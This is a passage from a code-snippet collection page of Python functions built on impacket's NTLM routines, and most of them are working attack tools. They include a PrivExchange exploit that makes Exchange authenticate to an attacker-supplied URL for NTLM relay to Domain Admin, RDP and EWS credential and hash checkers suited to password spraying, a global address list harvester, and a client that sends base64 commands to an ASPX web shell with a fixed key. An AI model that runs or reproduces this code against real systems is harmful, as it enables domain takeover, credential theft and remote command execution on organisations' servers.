        "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }

    session.request("GET", lzxURL, "", headers)
    res = session.getresponse()
    body = res.read()
    filedata = gzip.decompress(body)

    if res.status == 401:
        print('[!] Server returned HTTP status 401 - authentication failed')
        return False
    else:
        if res.status == 200:
            filename = lzxID
            print('[+] Save lzx file to %s' % (filename))
            print(
                '\r\n[*] Then you can use oabextract to decrype the lzx file in Kali Linux.'
            )
            print('Eg.')
            print(
                'oabextract 4667c322-5c08-4cda-844a-253ff36b4a6a-data-5.lzx gal.oab'
            )
            print('strings gal.oab|grep SMTP')
            with open(filename, 'wb+') as file_object:
                file_object.write(filedata)

        return True
Пример #9
0
    def login(self,
              user='',
              password='',
              domain='',
              lmhash='',
              nthash='',
              authenticationChoice='sicilyNegotiate'):
        """
        logins into the target system

        :param string user: username
        :param string password: password for the user
        :param string domain: domain where the account is valid for
        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
        :param string authenticationChoice: type of authentication protocol to use (default NTLM)

        :return: True, raises a LDAPSessionError if error.
        """
        bindRequest = BindRequest()
        bindRequest['version'] = 3

        if authenticationChoice == 'simple':
            if '.' in domain:
                bindRequest['name'] = user + '@' + domain
            elif domain:
                bindRequest['name'] = domain + '\\' + user
            else:
                bindRequest['name'] = user
            bindRequest['authentication']['simple'] = password
            response = self.sendReceive(bindRequest)[0]['protocolOp']
        elif authenticationChoice == 'sicilyPackageDiscovery':
            bindRequest['name'] = user
            bindRequest['authentication']['sicilyPackageDiscovery'] = ''
            response = self.sendReceive(bindRequest)[0]['protocolOp']
        elif authenticationChoice == 'sicilyNegotiate':
            # Deal with NTLM Authentication
            if lmhash != '' or nthash != '':
                if len(lmhash) % 2:
                    lmhash = '0' + lmhash
                if len(nthash) % 2:
                    nthash = '0' + nthash
                try:  # just in case they were converted already
                    lmhash = unhexlify(lmhash)
                    nthash = unhexlify(nthash)
                except TypeError:
                    pass

            bindRequest['name'] = user

            # NTLM Negotiate
            negotiate = getNTLMSSPType1('', domain)
            bindRequest['authentication']['sicilyNegotiate'] = negotiate
            response = self.sendReceive(bindRequest)[0]['protocolOp']

            # NTLM Challenge
            type2 = response['bindResponse']['matchedDN']

            # NTLM Auth
            type3, exportedSessionKey = getNTLMSSPType3(
                negotiate, str(type2), user, password, domain, lmhash, nthash)
            bindRequest['authentication']['sicilyResponse'] = type3
            response = self.sendReceive(bindRequest)[0]['protocolOp']
        else:
            raise LDAPSessionError(
                errorString="Unknown authenticationChoice: '%s'" %
                authenticationChoice)

        if response['bindResponse']['resultCode'] != ResultCode('success'):
            raise LDAPSessionError(
                errorString='Error in bindRequest -> %s: %s' %
                (response['bindResponse']['resultCode'].prettyPrint(),
                 response['bindResponse']['diagnosticMessage']))

        return True
Пример #10
0
def check_rdp(host, username, password, domain, port=3389, hashes=None):
    if hashes is not None:
        lmhash, nthash = hashes.split(':')
        lmhash = a2b_hex(lmhash)
        nthash = a2b_hex(nthash)
    else:
        lmhash = ''
        nthash = ''
    tpkt = TPKT()
    tpdu = TPDU()
    rdp_neg = RDP_NEG_REQ()
    rdp_neg['Type'] = 1
    rdp_neg['requestedProtocols'] = 2 | 1
    tpdu['VariablePart'] = rdp_neg.getData()
    tpdu['Code'] = 0xe0
    tpkt['TPDU'] = tpdu.getData()
    s = socket.socket()
    s.connect((host, port))
    s.sendall(tpkt.getData())
    pkt = s.recv(8192)
    tpkt.fromString(pkt)
    tpdu.fromString(tpkt['TPDU'])
    cr_tpdu = CR_TPDU(tpdu['VariablePart'])
    if cr_tpdu['Type'] == 3:
        rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
        rdp_failure.dump()
        logger.error(
            "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials"
        )
        return
    else:
        rdp_neg.fromString(tpdu['VariablePart'])
    ctx = SSL.Context(SSL.TLSv1_2_METHOD)
    ctx.set_cipher_list(b'RC4,AES')
    tls = SSL.Connection(ctx, s)
    tls.set_connect_state()
    tls.do_handshake()
    auth = ntlm.getNTLMSSPType1('', '', True, use_ntlmv2=True)
    ts_request = TSRequest()
    ts_request['NegoData'] = auth.getData()
    tls.send(ts_request.getData())
    buff = tls.recv(4096)
    ts_request.fromString(buff)
    type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth,
                                                     ts_request['NegoData'],
                                                     username,
                                                     password,
                                                     domain,
                                                     lmhash,
                                                     nthash,
                                                     use_ntlmv2=True)
    server_cert = tls.get_peer_certificate()
    pkey = server_cert.get_pubkey()
    dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)
    dump = dump[7:]
    dump = b'\x30' + asn1encode(dump)
    cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
    signature, cripted_key = cipher.encrypt(dump)
    ts_request['NegoData'] = type3.getData()
    ts_request['pubKeyAuth'] = signature.getData() + cripted_key
    try:
        tls.send(ts_request.getData())
        buff = tls.recv(1024)
    except Exception as err:
        if str(err).find("denied") > 0:
            logger.info("rdp Access Denied")
            return
        else:
            logger.warning(err)
        return
    ts_request = TSRequest(buff)
    signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:])
    tsp = TSPasswordCreds()
    tsp['domainName'] = domain
    tsp['userName'] = username
    tsp['password'] = password
    tsc = TSCredentials()
    tsc['credType'] = 1  # TSPasswordCreds
    tsc['credentials'] = tsp.getData()
    signature, cripted_creds = cipher.encrypt(tsc.getData())
    ts_request = TSRequest()
    ts_request['authInfo'] = signature.getData() + cripted_creds
    tls.send(ts_request.getData())
    tls.close()
    # logger.success("Access Granted")
    logger.success("rdp success: {}/{}:{}@{}:{}".format(
        domain, username, password, host, port))
    return {
        'ip': host,
        'user': username,
        'password': password,
        'port': port,
        'serviceName': 'rdp',
        'detail': {
            'domain': domain,
            'hash': hashes
        }
    }
Пример #11
0
def do_privexchange(host, attacker_url):
    # Init connection
    if not args.no_ssl:
        # HTTPS = default
        port = 443 if not args.exchange_port else int(args.exchange_port)
        uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
        uv_context.verify_mode = ssl.CERT_NONE
        session = HTTPSConnection(host,
                                  port,
                                  timeout=args.timeout,
                                  context=uv_context)
    else:
        # Otherwise: HTTP
        port = 80 if not args.exchange_port else int(args.exchange_port)
        session = HTTPConnection(host, port, timeout=args.timeout)

    # Use impacket for NTLM
    ntlm_nego = ntlm.getNTLMSSPType1(args.attacker_host, domain=args.domain)

    #Negotiate auth
    negotiate = base64.b64encode(ntlm_nego.getData())
    # Headers
    # Source: https://github.com/thezdi/PoC/blob/master/CVE-2018-8581/Exch_EWS_pushSubscribe.py
    headers = {
        "Authorization": 'NTLM {}'.format(negotiate),
        "Content-type": "text/xml; charset=utf-8",
        "Accept": "text/xml",
        "User-Agent": "ExchangeServicesClient/0.0.0.0",
        "Translate": "F"
    }

    session.request("POST", ews_url,
                    POST_BODY.format(args.exchange_version, attacker_url),
                    headers)

    res = session.getresponse()
    res.read()

    # Copied from ntlmrelayx httpclient.py
    if res.status != 401:
        logging.info(
            'Status code returned: {}. Authentication does not seem required for URL'
            .format(res.status))
    try:
        if 'NTLM' not in res.getheader('WWW-Authenticate'):
            logging.error(
                'NTLM Auth not offered by URL, offered protocols: {}'.format(
                    res.getheader('WWW-Authenticate')))
            return False
    except (KeyError, TypeError):
        logging.error(
            'No authentication requested by the server for url {}'.format(
                ews_url))
        return False

    logging.debug('Got 401, performing NTLM authentication')
    # Get negotiate data
    try:
        ntlm_challenge_b64 = re.search(
            'NTLM ([a-zA-Z0-9+/]+={0,2})',
            res.getheader('WWW-Authenticate')).group(1)
        ntlm_challenge = base64.b64decode(ntlm_challenge_b64)
    except (IndexError, KeyError, AttributeError):
        logging.error('No NTLM challenge returned from server')
        return

    if args.hashes:
        lm_hash_h, nt_hash_h = args.hashes.split(':')
        # Convert to binary format
        lm_hash = binascii.unhexlify(lm_hash_h)
        nt_hash = binascii.unhexlify(nt_hash_h)
        args.password = ''
    else:
        nt_hash = ''
        lm_hash = ''

    ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, args.user,
                                        args.password, args.domain, lm_hash,
                                        nt_hash)
    auth = base64.b64encode(ntlm_auth.getData())

    headers = {
        "Authorization": 'NTLM {}'.format(auth),
        "Content-type": "text/xml; charset=utf-8",
        "Accept": "text/xml",
        "User-Agent": "ExchangeServicesClient/0.0.0.0",
        "Translate": "F"
    }

    session.request("POST", ews_url,
                    POST_BODY.format(args.exchange_version, attacker_url),
                    headers)
    res = session.getresponse()

    logging.debug('HTTP status: {}'.format(res.status))
    body = res.read()
    logging.debug('Body returned: {}'.format(body))
    if res.status == 200:
        logging.info(
            'Exchange returned HTTP status 200 - authentication was OK')
        # Parse XML with ElementTree
        root = ET.fromstring(body)
        code = None
        for response in root.iter(
                '{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseCode'
        ):
            code = response.text
        if not code:
            logging.error(
                'Could not find response code element in body: {}'.format(
                    body))
            return
        if code == 'NoError':
            logging.info('API call was successful')
        elif code == 'ErrorMissingEmailAddress':
            logging.error(
                'The user you authenticated with does not have a mailbox associated. Try a different user.'
            )
        else:
            logging.error('Unknown error {}'.format(code))
            for errmsg in root.iter(
                    '{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseMessages'
            ):
                logging.error('Server returned: %s', errmsg.text)
        # Detect Exchange 2010
        for versioninfo in root.iter(
                '{http://schemas.microsoft.com/exchange/services/2006/types}ServerVersionInfo'
        ):
            if int(versioninfo.get('MajorVersion')) == 14:
                logging.info(
                    'Exchange 2010 detected. This version is not vulnerable to PrivExchange.'
                )
    elif res.status == 401:
        logging.error(
            'Server returned HTTP status 401 - authentication failed')
    else:
        if res.status == 500:
            if 'ErrorInvalidServerVersion' in body:
                logging.error(
                    'Server does not accept this Exchange dialect, specify a different Exchange version with --exchange-version'
                )
                return
        else:
            logging.error('Server returned HTTP {}: {}'.format(
                res.status, body))
Пример #12
0
def checkEWS(host, port, mode, domain, user, data):

    ews_url = "/EWS/Exchange.asmx"

    if port == 443:
        try:
            uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            session = HTTPSConnection(host, port, context=uv_context)
        except AttributeError:
            session = HTTPSConnection(host, port)
    else:
        session = HTTPConnection(host, port)

    # Use impacket for NTLM
    ntlm_nego = ntlm.getNTLMSSPType1(host, domain)

    #Negotiate auth
    negotiate = base64.b64encode(ntlm_nego.getData())
    # Headers
    headers = {
        "Authorization":
        'NTLM %s' % negotiate.decode('utf-8'),
        "Content-type":
        "text/xml; charset=utf-8",
        "Accept":
        "text/xml",
        "User-Agent":
        "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }

    session.request("POST", ews_url, POST_BODY, headers)

    res = session.getresponse()
    res.read()

    if res.status != 401:
        print(
            'Status code returned: %d. Authentication does not seem required for URL'
            % (res.status))
        return False
    try:
        if 'NTLM' not in res.getheader('WWW-Authenticate'):
            print('NTLM Auth not offered by URL, offered protocols: %s' %
                  (res.getheader('WWW-Authenticate')))
            return False
    except (KeyError, TypeError):
        print('No authentication requested by the server for url %s' %
              (ews_url))
        return False

    print('[*] Got 401, performing NTLM authentication')
    # Get negotiate data
    try:
        ntlm_challenge_b64 = re.search(
            'NTLM ([a-zA-Z0-9+/]+={0,2})',
            res.getheader('WWW-Authenticate')).group(1)
        ntlm_challenge = base64.b64decode(ntlm_challenge_b64)
    except (IndexError, KeyError, AttributeError):
        print('No NTLM challenge returned from server')
        return False

    if mode == 'plaintext':
        password1 = data
        nt_hash = ''

    elif mode == 'ntlmhash':
        password1 = ''
        nt_hash = binascii.unhexlify(data)

    else:
        print('[!]Wrong parameter')
        return False

    lm_hash = ''
    ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, user,
                                        password1, domain, lm_hash, nt_hash)
    auth = base64.b64encode(ntlm_auth.getData())

    headers = {
        "Authorization":
        'NTLM %s' % auth.decode('utf-8'),
        "Content-type":
        "text/xml; charset=utf-8",
        "Accept":
        "text/xml",
        "User-Agent":
        "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }

    session.request("POST", ews_url, POST_BODY, headers)
    res = session.getresponse()
    body = res.read()
    if res.status == 401:
        print('[!] Server returned HTTP status 401 - authentication failed')
        return False

    else:
        print('[+] Valid:%s %s' % (user, data))
        #print(body)
        return True
Пример #13
0
    def check_rdp(host, username, password, domain, hashes=None):
        if hashes is not None:
            lmhash, nthash = hashes.split(':')
            lmhash = a2b_hex(lmhash)
            nthash = a2b_hex(nthash)
        else:
            lmhash = ''
            nthash = ''

        tpkt = TPKT()
        tpdu = TPDU()
        rdp_neg = RDP_NEG_REQ()
        rdp_neg['Type'] = TYPE_RDP_NEG_REQ
        rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL
        tpdu['VariablePart'] = rdp_neg.getData()
        tpdu['Code'] = TDPU_CONNECTION_REQUEST
        tpkt['TPDU'] = tpdu.getData()

        s = socket.socket()
        s.connect((host, 3389))  #port default
        s.sendall(tpkt.getData())
        pkt = s.recv(8192)
        tpkt.fromString(pkt)
        tpdu.fromString(tpkt['TPDU'])
        cr_tpdu = CR_TPDU(tpdu['VariablePart'])

        if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
            rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
            rdp_failure.dump()
            logging.error(
                "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials"
            )
            return
        else:
            rdp_neg.fromString(tpdu['VariablePart'])

        ctx = SSL.Context(SSL.TLSv1_2_METHOD)
        ctx.set_cipher_list(b'RC4,AES')
        tls = SSL.Connection(ctx, s)
        tls.set_connect_state()
        tls.do_handshake()

        auth = ntlm.getNTLMSSPType1('', '', True, use_ntlmv2=True)
        ts_request = TSRequest()
        ts_request['NegoData'] = auth.getData()
        tls.send(ts_request.getData())
        buff = tls.recv(4096)
        ts_request.fromString(buff)

        type3, exportedSessionKey = ntlm.getNTLMSSPType3(
            auth,
            ts_request['NegoData'],
            username,
            password,
            domain,
            lmhash,
            nthash,
            use_ntlmv2=True)
        # Get server public key
        server_cert = tls.get_peer_certificate()
        pkey = server_cert.get_pubkey()
        dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)
        # Fix up due to PyOpenSSL lack for exporting public keys
        dump = dump[7:]
        dump = b'\x30' + asn1encode(dump)
        cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
        signature, cripted_key = cipher.encrypt(dump)
        ts_request['NegoData'] = type3.getData()
        ts_request['pubKeyAuth'] = signature.getData() + cripted_key
        try:
            # Sending the Type 3 NTLM blob
            tls.send(ts_request.getData())
            buff = tls.recv(1024)
        except Exception as err:
            if str(err).find("denied") > 0:
                # logging.error("Access Denied")
                sys.stdout.write('\r[-] [%s:%s:%s] Access Denied            ' %
                                 (host, username, password))
            else:
                logging.error(err)
                time.sleep(5)
            return

        ts_request = TSRequest(buff)
        signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:])
        tsp = TSPasswordCreds()
        tsp['domainName'] = domain
        tsp['userName'] = username
        tsp['password'] = password
        tsc = TSCredentials()
        tsc['credType'] = 1  # TSPasswordCreds
        tsc['credentials'] = tsp.getData()
        signature, cripted_creds = cipher.encrypt(tsc.getData())
        ts_request = TSRequest()
        ts_request['authInfo'] = signature.getData() + cripted_creds
        tls.send(ts_request.getData())
        tls.close()
        sys.stdout.write(
            f"\r{colored('[+]', 'green')} {colored('Host:','blue')}{host},{colored('Username:'******'blue')}{username},{colored('Password:'******'blue')}{password},{colored('Domain:','blue')}{domain} [{colored('SUCESS', 'green')}] \n"
        )
        return True
Пример #14
0
    def bind(self, uuid, alter = 0, bogus_binds = 0):
        bind = MSRPCBind()
        # Standard NDR Representation
        NDRSyntax   = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
        # NDR 64
        NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') 
        #item['TransferSyntax']['Version'] = 1
        ctx = self._ctx
        for i in range(bogus_binds):
            item = CtxItem()
            item['ContextID'] = ctx
            item['TransItems'] = 1
            item['ContextID'] = ctx
            # We generate random UUIDs for bogus binds
            item['AbstractSyntax'] = generate() + stringver_to_bin('2.0')
            item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax)
            bind.addCtxItem(item)
            self._ctx += 1
            ctx += 1

        # The true one :)
        item = CtxItem()
        item['AbstractSyntax'] = uuid
        item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax)
        item['ContextID'] = ctx
        item['TransItems'] = 1
        bind.addCtxItem(item)

        packet = MSRPCHeader()
        packet['type'] = MSRPC_BIND

        if alter:
            packet['type'] = MSRPC_ALTERCTX

        if (self.__auth_level != ntlm.NTLM_AUTH_NONE):
            if (self.__username is None) or (self.__password is None):
                self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash = self._transport.get_credentials()
            auth = ntlm.getNTLMSSPType1('', self.__domain, True, isDCE = True)
            auth['auth_level']  = self.__auth_level
            auth['auth_ctx_id'] = self._ctx + 79231 

            pad = (8 - (len(packet.get_packet()) % 8)) % 8
            if pad != 0:
               packet['pduData'] = packet['pduData'] + '\xFF'*pad
               auth['auth_pad_len']=pad
            packet['auth_data'] = str(auth)

        packet['pduData'] = str(bind)
        packet['call_id'] = self.__callid
        self._transport.send(packet.get_packet())

        s = self._transport.recv()

        if s != 0:
            resp = MSRPCHeader(s)
        else:
            return 0 #mmm why not None?

        if resp['type'] == MSRPC_BINDACK or resp['type'] == MSRPC_ALTERCTX_R:
            bindResp = MSRPCBindAck(str(resp))
        elif resp['type'] == MSRPC_BINDNAK:
            resp = MSRPCBindNak(resp['pduData'])
            status_code = resp['RejectedReason']
            if rpc_status_codes.has_key(status_code):
                raise Exception(rpc_status_codes[status_code], resp)
            else:
                raise Exception('Unknown DCE RPC fault status code: %.8x' % status_code, resp)
        else:
            raise Exception('Unknown DCE RPC packet type received: %d' % resp['type'])

        # check ack results for each context, except for the bogus ones
        for ctx in range(bogus_binds+1,bindResp['ctx_num']+1):
            result = bindResp.getCtxItem(ctx)['Result']
            if result != 0:
                msg = "Bind context %d rejected: " % ctx
                msg += rpc_cont_def_result.get(result, 'Unknown DCE RPC context result code: %.4x' % result)
                msg += "; "
                reason = bindResp.getCtxItem(ctx)['Reason']
                msg += rpc_provider_reason.get(reason, 'Unknown reason code: %.4x' % reason)
                if (result, reason) == (2, 1): # provider_rejection, abstract syntax not supported
                    msg += " (this usually means the interface isn't listening on the given endpoint)"
                raise Exception(msg, resp)

        self.__max_xmit_size = bindResp['max_tfrag']

        if self.__auth_level != ntlm.NTLM_AUTH_NONE:
            response, randomSessionKey = ntlm.getNTLMSSPType3(auth, bindResp['auth_data'], self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, True)
            response['auth_ctx_id'] = self._ctx + 79231 
            response['auth_level'] = self.__auth_level
            self.__flags = response['flags']

            if self.__auth_level in (ntlm.NTLM_AUTH_CONNECT, ntlm.NTLM_AUTH_PKT_INTEGRITY, ntlm.NTLM_AUTH_PKT_PRIVACY):
                if self.__flags & ntlm.NTLMSSP_NTLM2_KEY:
                    self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey)
                    self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,"Server")
                    self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey)
                    self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,"Server")
                    # Preparing the keys handle states
                    cipher3 = ARC4.new(self.__clientSealingKey)
                    self.__clientSealingHandle = cipher3.encrypt
                    cipher4 = ARC4.new(self.__serverSealingKey)
                    self.__serverSealingHandle = cipher4.encrypt
                else:
                    # Same key for everything
                    self.__clientSigningKey = randomSessionKey
                    self.__serverSigningKey = randomSessionKey
                    self.__clientSealingKey = randomSessionKey
                    self.__serverSealingKey = randomSessionKey
                    cipher = ARC4.new(self.__clientSigningKey)
                    self.__clientSealingHandle = cipher.encrypt
                    self.__serverSealingHandle = cipher.encrypt

            self.__sequence = 0

            auth3 = MSRPCHeader()
            auth3['type'] = MSRPC_AUTH3
            auth3['auth_data'] = str(response)

            # Use the same call_id
            self.__callid = resp['call_id']
            auth3['call_id'] = self.__callid
            self._transport.send(auth3.get_packet(), forceWriteAndx = 1)
            self.__callid += 1

        return resp     # means packet is signed, if verifier is wrong it fails
Пример #15
0
def aspxCmdNTLM(host, port, url, mode, domain, user, data, command):
    key = "UGFzc3dvcmQxMjM0NTY3ODk"
    command = command.encode("utf-8")
    # base64 encode
    enpayload = base64.b64encode(command).decode('utf8')
    POST_BODY = "data1={key}&data2={payload}"
    POST_BODY = POST_BODY.format(key=key, payload=enpayload)
    if port == 443:
        try:
            uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            session = HTTPSConnection(host, port, context=uv_context)
        except AttributeError:
            session = HTTPSConnection(host, port)
    else:
        session = HTTPConnection(host, port)

    # Use impacket for NTLM
    ntlm_nego = ntlm.getNTLMSSPType1(host, domain)

    # Negotiate auth
    negotiate = base64.b64encode(ntlm_nego.getData())
    # Headers
    headers = {
        "Authorization":
        'NTLM %s' % negotiate.decode('utf-8'),
        "Content-type":
        "application/x-www-form-urlencoded; charset=utf-8",
        "Accept":
        "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "User-Agent":
        "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }

    session.request(method="POST", url=url, body=POST_BODY, headers=headers)

    res = session.getresponse()
    res.read()

    if res.status != 401:
        print(
            'Status code returned: %d. Authentication does not seem required for URL'
            % (res.status))
        return False
    try:
        if 'NTLM' not in res.getheader('WWW-Authenticate'):
            print('NTLM Auth not offered by URL, offered protocols: %s' %
                  (res.getheader('WWW-Authenticate')))
            return False
    except (KeyError, TypeError):
        print('No authentication requested by the server for url %s' % (url))
        return False

    print('[*] Got 401, performing NTLM authentication')
    # Get negotiate data
    try:
        ntlm_challenge_b64 = re.search(
            'NTLM ([a-zA-Z0-9+/]+={0,2})',
            res.getheader('WWW-Authenticate')).group(1)
        ntlm_challenge = base64.b64decode(ntlm_challenge_b64)
    except (IndexError, KeyError, AttributeError):
        print('No NTLM challenge returned from server')
        return False

    if mode == 'plaintext':
        password1 = data
        nt_hash = ''

    elif mode == 'ntlmhash':
        password1 = ''
        nt_hash = binascii.unhexlify(data)

    else:
        print('[!] Wrong parameter')
        return False

    lm_hash = ''
    ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, user,
                                        password1, domain, lm_hash, nt_hash)
    auth = base64.b64encode(ntlm_auth.getData())

    headers = {
        "Authorization":
        'NTLM %s' % auth.decode('utf-8'),
        "Content-type":
        "application/x-www-form-urlencoded; charset=utf-8",
        "Accept":
        "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "User-Agent":
        "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }

    session.request(method="POST", url=url, body=POST_BODY, headers=headers)
    res = session.getresponse()
    body = res.read()
    session.close()

    if res.status == 401:
        print('[!] Server returned HTTP status 401 - authentication failed')
        return False
    else:
        if res.status == 200:
            print('[+] Valid')
            print('[+] Result:')
            # base64 decode
            print(base64.b64decode(body.decode('utf8')).decode('utf8'))
        return True
Пример #16
0
def main():
    parser = argparse.ArgumentParser(description='Exchange your privileges for Domain Admin privs by abusing Exchange. Use me with ntlmrelayx')
    parser.add_argument("host", type=str, metavar='HOSTNAME', help="Hostname/ip of the Exchange server")
    parser.add_argument("-u", "--user", metavar='USERNAME', help="username for authentication")
    parser.add_argument("-d", "--domain", metavar='DOMAIN', help="domain the user is in (FQDN or NETBIOS domain name)")
    parser.add_argument("-p", "--password", metavar='PASSWORD', help="Password for authentication, will prompt if not specified and no NT:NTLM hashes are supplied")
    parser.add_argument('--hashes', action='store', help='LM:NLTM hashes')
    parser.add_argument("--no-ssl", action='store_true', help="Don't use HTTPS (connects on port 80)")
    parser.add_argument("--exchange-port", help="Alternative EWS port (default: 443 or 80)")
    parser.add_argument("-ah", "--attacker-host", required=True, help="Attacker hostname or IP")
    parser.add_argument("-ap", "--attacker-port", default=80, help="Port on which the relay attack runs (default: 80)")
    parser.add_argument("-ev", "--exchange-version", choices=EXCHANGE_VERSIONS, default="2013", help="Exchange dialect version (Default: 2013)")
    parser.add_argument("--attacker-page", default="/privexchange/", help="Page to request on attacker server (default: /privexchange/)")
    parser.add_argument("--debug", action='store_true', help='Enable debug output')
    args = parser.parse_args()


    ews_url = "/EWS/Exchange.asmx"

    # Init logging
    logger = logging.getLogger()
    logger.setLevel(logging.INFO)
    stream = logging.StreamHandler(sys.stderr)
    stream.setLevel(logging.DEBUG)
    formatter = logging.Formatter('%(levelname)s: %(message)s')
    stream.setFormatter(formatter)
    logger.addHandler(stream)

    # Should we log debug stuff?
    if args.debug is True:
        logger.setLevel(logging.DEBUG)

    if args.password is None and args.hashes is None:
        args.password = getpass.getpass()

    # Init connection
    if not args.no_ssl:
        # HTTPS = default
        port = 443
        if args.exchange_port:
            port = int(args.exchange_port)
        try:
            uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            session = HTTPSConnection(args.host, port, context=uv_context)
        except AttributeError:
            session = HTTPSConnection(args.host, port)
    else:
        # Otherwise: HTTP
        port = 80
        if args.exchange_port:
            port = int(args.exchange_port)
        session = HTTPConnection(args.host, port)

    # Construct attacker url
    if args.attacker_port != 80:
        attacker_url = 'http://%s:%d%s' % (args.attacker_host, int(args.attacker_port), args.attacker_page)
    else:
        attacker_url = 'http://%s%s' % (args.attacker_host, args.attacker_page)
    logging.info('Using attacker URL: %s', attacker_url)
    # Use impacket for NTLM
    ntlm_nego = ntlm.getNTLMSSPType1(args.attacker_host, domain=args.domain)

    #Negotiate auth
    negotiate = base64.b64encode(ntlm_nego.getData())
    # Headers
    # Source: https://github.com/thezdi/PoC/blob/master/CVE-2018-8581/Exch_EWS_pushSubscribe.py
    headers = {
        "Authorization": 'NTLM %s' % negotiate.decode('utf-8'),
        "Content-type": "text/xml; charset=utf-8",
        "Accept": "text/xml",
        "User-Agent": "ExchangeServicesClient/0.0.0.0",
        "Translate": "F"
    }

    session.request("POST", ews_url, POST_BODY % (args.exchange_version, attacker_url), headers)

    res = session.getresponse()
    res.read()

    # Copied from ntlmrelayx httpclient.py
    if res.status != 401:
        logging.info('Status code returned: %d. Authentication does not seem required for URL', res.status)
    try:
        if 'NTLM' not in res.getheader('WWW-Authenticate'):
            logging.error('NTLM Auth not offered by URL, offered protocols: %s', res.getheader('WWW-Authenticate'))
            return False
    except (KeyError, TypeError):
        logging.error('No authentication requested by the server for url %s', ews_url)
        return False

    logging.debug('Got 401, performing NTLM authentication')
    # Get negotiate data
    try:
        ntlm_challenge_b64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1)
        ntlm_challenge = base64.b64decode(ntlm_challenge_b64)
    except (IndexError, KeyError, AttributeError):
        logging.error('No NTLM challenge returned from server')
        return

    if args.hashes:
        lm_hash_h, nt_hash_h = args.hashes.split(':')
        # Convert to binary format
        lm_hash = binascii.unhexlify(lm_hash_h)
        nt_hash = binascii.unhexlify(nt_hash_h)
        args.password = ''
    else:
        nt_hash = ''
        lm_hash = ''

    ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, args.user, args.password, args.domain, lm_hash, nt_hash)
    auth = base64.b64encode(ntlm_auth.getData())

    headers = {
        "Authorization": 'NTLM %s' % auth.decode('utf-8'),
        "Content-type": "text/xml; charset=utf-8",
        "Accept": "text/xml",
        "User-Agent": "ExchangeServicesClient/0.0.0.0",
        "Translate": "F"
    }

    session.request("POST", ews_url, POST_BODY % (args.exchange_version, attacker_url), headers)
    res = session.getresponse()

    logging.debug('HTTP status: %d', res.status)
    body = res.read()
    logging.debug('Body returned: %s', body)
    if res.status == 200:
        logging.info('Exchange returned HTTP status 200 - authentication was OK')
        # Parse XML with ElementTree
        root = ET.fromstring(body)
        code = None
        for response in root.iter('{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseCode'):
            code = response.text
        if not code:
            logging.error('Could not find response code element in body: %s', body)
            return
        if code == 'NoError':
            logging.info('API call was successful')
        elif code == 'ErrorMissingEmailAddress':
            logging.error('The user you authenticated with does not have a mailbox associated. Try a different user.')
        else:
            logging.error('Unknown error %s', code)
            for errmsg in root.iter('{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseMessages'):
                logging.error('Server returned: %s', errmsg.text)
        # Detect Exchange 2010
        for versioninfo in root.iter('{http://schemas.microsoft.com/exchange/services/2006/types}ServerVersionInfo'):
            if int(versioninfo.get('MajorVersion')) == 14:
                logging.info('Exchange 2010 detected. This version is not vulnerable to PrivExchange.')
    elif res.status == 401:
        logging.error('Server returned HTTP status 401 - authentication failed')
    else:
        if res.status == 500:
            if 'ErrorInvalidServerVersion' in body:
                logging.error('Server does not accept this Exchange dialect, specify a different Exchange version with --exchange-version')
                return
        else:
